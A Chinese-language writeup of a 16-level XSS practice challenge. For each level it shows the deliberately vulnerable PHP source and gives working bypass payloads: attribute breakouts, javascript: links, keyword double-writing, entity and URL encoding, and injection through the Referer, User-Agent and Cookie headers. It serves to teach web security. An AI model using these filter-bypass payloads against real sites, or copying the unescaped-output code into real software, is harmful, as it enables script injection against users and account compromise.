XSS挑战赛--Writeup(共16题)

Level-1
Level-2
Level-3
Level-4
Level-5
Level-6
Level-7
Level-8
Level-9
Level-10
Level-11
Level-12
Level-13
Level-14
Level-15
Level-16

Level-1

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

第一题就不多说了哈,直接在url后面接上,过关第一题。

<script>alert(1)</script>


注:()中数字不需要加引号,字符串需要加引号


Level-2

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
解题思路:

首先我们直接输入js代码,看看会发生什么,使用开发者工具辅助查看

我们在审查元素中看到我们的js代码被输入到value的引号之中,无法执行,因此,我们需要闭合单引号与尖括号

Payload:
"><script>alert(1)</script><"
或者
" οnmοuseοver=alert(1)<"

Level-3

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
解题思路:

我们从源码观察得知,这里使用了htmlspecialchars函数
把预定义的字符转换为 了HTML 实体

预定义的字符是:& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
htmlspecial函数的默认配置不过滤单引号

用来构造的主要语句

value='".htmlspecialchars($str)."'

所以前面所使用的">就会无效,我们这里就闭合’(因为htmlspecial函数的默认配置是不过滤单引号的,所以这里可以利用单引号闭合)

Payload:
' οnmοuseοver=alert(1)空格    为了直观,这里的空格是汉字,利用时是键盘上的空格。如果不加空格,它会认为'是onmouseover后面值的一部分,输入其他字符也一样,它只会认为这是值的一部分,所以会影响alert(1)这个命令
' οnmοuseοver=alert(1) '这个和上面的原理是一样的,就是加了个单引号闭合后面的单引号而已
或者
' οnmοuseοver='alert(1)      和最后面的'>闭合
或者
' οnmοuseοver='alert(1)'     自己闭合后,因为已经固定值就是alert(1),所以后面多出的'没有影响
或者
' οnmοuseοver=alert(1)//  这里的//是js里的注释,因为alert是js代码所以//可以注释后面的'>
等等...

注:onmouseover后面的值的引号要么两边都有,没有就两边都没有


Level-4

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
分析:

由源码可知,这里将接收到的值中的<与>符号进行了过滤,替换为空,但这里没有对value的值使用htmlspecialchars,所以仅仅是<与>不可用

解题思路:

我们可以不使用<与>进行绕过

Payload:
" οnmοuseοver=alert(1)空格
" οnmοuseοver=alert(1) "
或者
" οnmοuseοver="alert(1)
或者
" οnmοuseοver="alert(1)"
或者
" οnmοuseοver=alert(1)//
或者
" οnfοcus=alert(1) autofocus="   构造一个输入到文本框后出现相应的事件
等等...

Level-5

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
分析:

源码使用了strtolower函数将,所有字符转为小写;使用str_replace函数,将接收到的值中的<script>替换为<scr_ipt>,on替换为o_n

解题思路:

这次过滤了<script>与on,不能使用js事件了。但没有过滤<与>,因此我们可以使用伪协议来构造

Payload:
"><iframe src=javascript:alert(1)>   这个执行后会无法跳出进入下一关的页面
或者
"><a href=javascript:alert(1)>
或者
"> <a href="javascript:alert(1)">1stPeak</a>
或者
"> <a href="javascript:%61lert(1)">1stPeak</a>//   这里的%61是url编码后的a
等等...

Level-6

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
分析:

这里过滤了<script>、on、src、data、href

解题思路:

但是并没有对<与>进行过滤,并且没有大小写的过滤,所以,将上一题的Payload稍加修改,嘿嘿嘿

Payload:
"><iframe SRC=javascript:alert(1)>   这个执行后会无法跳出进入下一关的页面
或者
"><a Href=javascript:alert(1)>
或者
"> <a HRef="javascript:alert(1)">1stPeak</a>
或者
"> <a HREF="javascript:%61lert(1)">1stPeak</a>//
等等...

Level-7

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
分析:

源码在level-6的基础上,增加了strtolower函数,接收的值全都转为小写再进行检查过滤

解题思路:

我们还是可以用<与>,于是我们尝试双写绕过

Payload:
"><sscriptcript>alert(1)</scrscriptipt>
或者
" oonnmouseover=alert(1)空格
" oonnmouseover=alert(1) "
或者
"><a hrhrefef=javascriscriptpt:alert(1)>1stPeak</a>
等等...

Level-8

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?phpecho '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
分析:

这里在Level-7的基础上,将原本script、on、src、data、href、"替换为空的值分别改为替换成scr_ipt、o_n、sr_c、da_ta、hr_ef、&quot,所以,我们无法使用双写绕过了

解题思路:

我们仔细看看源码,发现输出点在a标签内,href属性中。虽然htmlspecialchars函数在value的值中,但我们用不到input属性,虽然源码替换了很多字符,但时<,>,单引号,% ,# ,& 符号没有被过滤
javascript会被替换成javasc_rpt,我们可以使用&#x72来代替r ,HTML字符实体转换:https://www.qqxiuzi.cn/bianma/zifushiti.php

Payload:
javasc&#x72;ipt:alert(1)
或者
javascrip&#x74;:alert(1)
等等...

Level-9

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
分析:

这一级别的源代码在Level-8的基础上,增加了false===strpos($str7,‘http://’),用来过滤没有http://字符的url

解题思路:

这里我们可以通过//注释来进行绕过

Payload:
javasc&#x72;ipt:alert(1)//http://www.1stpeak.com      利用注释//
javascrip&#x74;:alert(1)//http://www.1stPeak.cn
或者
javascrip&#x74;:http://1stpeak.com%0dalert(1)   不利用注释//,其中的%0d是回车

Level-10

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
分析:

从源码发现需要两个参数,一个是keyword,一个是t_sort,<与>都被转换成空,还有三个hidden的隐藏输入框,所以我们可以从隐藏的输入框入手,构造Payload

Payload:
keyword=1st&t_sort="type="text" οnclick="alert(1)"
带入源码构造结果:<input name="t_sort"  value=""type="text" οnclick="alert(1)"" type="hidden">
或者
keyword=1&t_sort="type="text" οnclick=alert(1) "
带入源码构造结果:<input name="t_sort"  value=""type="text" οnclick="alert(1)" type="hidden">
或者
keyword=1st&t_sort="type="text" οnmοuseοver="alert(1)"
带入源码构造结果:<input name="t_sort"  value=""type="text" οnmοuseοver="alert(1)" " type="hidden">
等等...

Level-11

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
分析:

这里比Level-11上多了$str11=$_SERVER['HTTP_REFERER'],这里我们需要进行对http请求头进行xss注入所以我们利用burp进行构造Payload,同时注意,http请求头注入时<与>也是会被过滤的。
Payload:

在http请求头中添加如下payload
Referer: " οnmοuseοver=alert(1) type="text"
构造原理:

构造图:

结果图:


还可以使用其它http请求头的xss注入代码

Referer: " οnclick=alert(1) type="text"
或者
Referer: " οnclick="alert(1)" type="text"
等等...
原理都是一样的

Level-12

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
分析:

这一关和Level-11关原理一样,只不过这里是$str11=$_SERVER['HTTP_USER_AGENT'];,所以我们抓包修改user-agent进行xss注入

Payload:
User-Agent: " οnclick=alert(1) type="text"
或者
User-Agent: " οnclick="alert(1)" type="text"
第一个Payload演示图:


Level-13

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
分析:

这个和level-11和level-12原理一样,修改一下cookie的值就好

Payload:
Cookie: user=" οnclick=alert(1) type="text"; SESSIONID=519523290; PHPSESSID=1mqhmsa56pdk0unn25fa8l6ana
或者
Cookie: user=" οnclick="alert(1)" type="text"; SESSIONID=519523290; PHPSESSID=1mqhmsa56pdk0unn25fa8l6ana
第一个Payload演示图:


Level-14

源码:

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>
分析:

还分析个啥子…


Level-15

源码:

<html ng-app>
<head><meta charset="utf-8"><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
分析:

你们自己想办法走出去吧,哈哈哈
emmm,有会的朋友,请评论告知一下~


Level-16

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("  ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>
分析:

这里使用了大小写guolv,将script、空格、/替换为&nbsp
在html代码中&nbsp和空格的区别:
在html代码中每输入一个转义字符&nbsp就表示一个空格,输入9个&nbsp,页面中就显示9个空格位置
而在html代码中输入空格,不管输入多少个空格,最终在页面中显示的空格位置只有一个
例如:hmtl代码中,在两个字之间输入9个空格与输入9个转义字符&nbsp的效果对比图

<html>
<p></p>html中使用普通空格举例:开始         结束</p>
<p>html中使用&nbsp举例:开始&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp结束</p>
</html>
效果图:

解题思路:

源码没有过滤<与>,我们可以使用其它标签配合%0d,%0a等url编码绕过:
%0d表示回车符号
%0a表示换行符号

Payload:
<img%0dsrc=1%0dοnerrοr=alert(1)>
或者
<iframe%0asrc=www.buzhidao.com%0dοnmοuseοver=alert(1)></iframe>
或者
<svg%0aοnlοad=alert(1)></svg>
等等...

XSS挑战赛--Writeup(共16题)相关推荐

  1. 无声杯 xss 挑战赛 writeup

    insight-labs · 2014/07/25 11:58 本次比赛参与人数3700多人,提交并获得了分数的正确答案共有1069条.最终有65名参赛者获得了奖品,一.二.三名分别由p.z,piac ...

  2. 全网最全Spring面试题之高级篇整理总结(二)(共16题,附超详细解答)

    1.谈谈你对springIOC和DI的理解,它们有什么区别? IoCInverseofControl反转控制的概念,就是将原本在程序中手动创建UserService对象的控制权,交由Spring框架管 ...

  3. XSS挑战赛解题思路

    xss挑战赛解题思路 level 1 level 2 level 3 level 4 level 5 level 6 level 7 level 8 level 9 level 10 level 11 ...

  4. 面试中常见的数据结构与算法题整理,想当架构师,数据结构与算法不过关可不行(数组+字符串,共60题)

    [Java架构师面试网]收集整理了一些Java面试的常见问题,这些问题可能会在你下一次技术面试中遇到.想成为Java架构师,这些都是不可避免也是必须要掌握的哦,对于其他模块的面试题,我后续也将单独分享 ...

  5. 2016CCF-CCSP竞赛:第1题-虚拟机设计(共3题)

    2016CCF-CCSP竞赛:第1题-虚拟机设计(共3题) 题目概览: 定义一种类似于汇编的语言X,只有8种基本指令. Part1:用高级语言编写虚拟机,模拟运行X语言代码.(105分) Part ...

  6. 无线联网功能硬件模块无法拆除的计算机禁止,2021年保密知识竞赛抢答题库及答案(共120题).docx...

    2021年保密知识竞赛抢答题库及答案(共120题) 1 涉密计算机不得安装使用无线键盘.无线鼠标.蓝牙.红外和无线网卡.答案:正确2 涉密便携式计算机应当拆除具有无线联网功能的硬件模块.答案:正确3 ...

  7. 武器装备科研生产单位保密资格标准》内容试题(2017年版)( 共 331 题 )

    1. <武器装备科研生产单位保密资格标准>包括______.______ .______.______.______和_______等6个方面的内容.(保密责任.归口管理.保密组织机构.保 ...

  8. Python 初学者趣味练习题汇编(共42题,中文版)

    Python 初学者趣味练习题汇编 作为一枚Python初学者,我在学习Python的过程中做了大量的练习.同时,这些练习大部分都非常有趣,让我能够保持兴趣坚持下来,为了让学弟学妹们能够获得一份较好的 ...

  9. 计算机基础知识及答案2020,2020年事业单位招聘考试计算机基础知识复习题库及答案(共931题)...

    2020年事业单位招聘考试计算机基础知识复习题库 及答案(共931题) 1. 世界上首先实现存储程序的电子数字计算机是____. A.ENIAC B.UNIVAC C.EDVAC D.EDSAC 2. ...

最新文章

  1. 图像降噪算法——低秩聚类:WNNM算法
  2. Linux上的Systemctl命令
  3. .NET中颜色的转换方法总结
  4. 《Go语言圣经》学习笔记 第四章 复合数据类型
  5. spring boot之从零开始开发自己的网站
  6. (STTN)Learning Joint Spatial-TemporalTransformations for Video Inpainting
  7. Veeam FAQ系列转载(一):备份
  8. android 拉伸view,安卓ImageView拉伸展示
  9. TensorFlow基础(1)-中使用多个 Graph
  10. http 请求_HTTP请求方法有哪些?
  11. mysqldump的一些用法
  12. xml笔记(马士兵)
  13. 自定义皮肤---极点五笔5.1
  14. 基于FPGA的ov5640摄像头简易图像采集装置详解
  15. AbstractApplicationContext的refresh方法
  16. 博弈论(1)—— 零和与非零和
  17. 大秦帝国-《治秦九论》
  18. 用matlab演示dsb,DSB-AM的MATLAB仿真
  19. PDE优化|逆问题中偏微分方程约束优化的惩罚方法(Matlab代码实现)
  20. android 源码编译 模拟器emulator启动,Android 模拟器运行编译后的源码

热门文章

  1. python字符串切割:str.split()和re.split()对比
  2. Json Schema快速入门
  3. 设计模式之适配器模式--java描述
  4. 学习一项新技能的公式
  5. 第07课:动手实战基于 ML 的中文短文本聚类
  6. Spark SQL之queryExecution运行流程解析Logical Plan(三)
  7. mvn spring-boot:run 增加jvm启动参数
  8. CRDT——解决最终一致问题的利器
  9. uoj#348/洛谷P4221 [WC2018]州区划分(FWT)
  10. MVC的实体模型写在类库,为什么被其他类库调用时,用不了模型的表?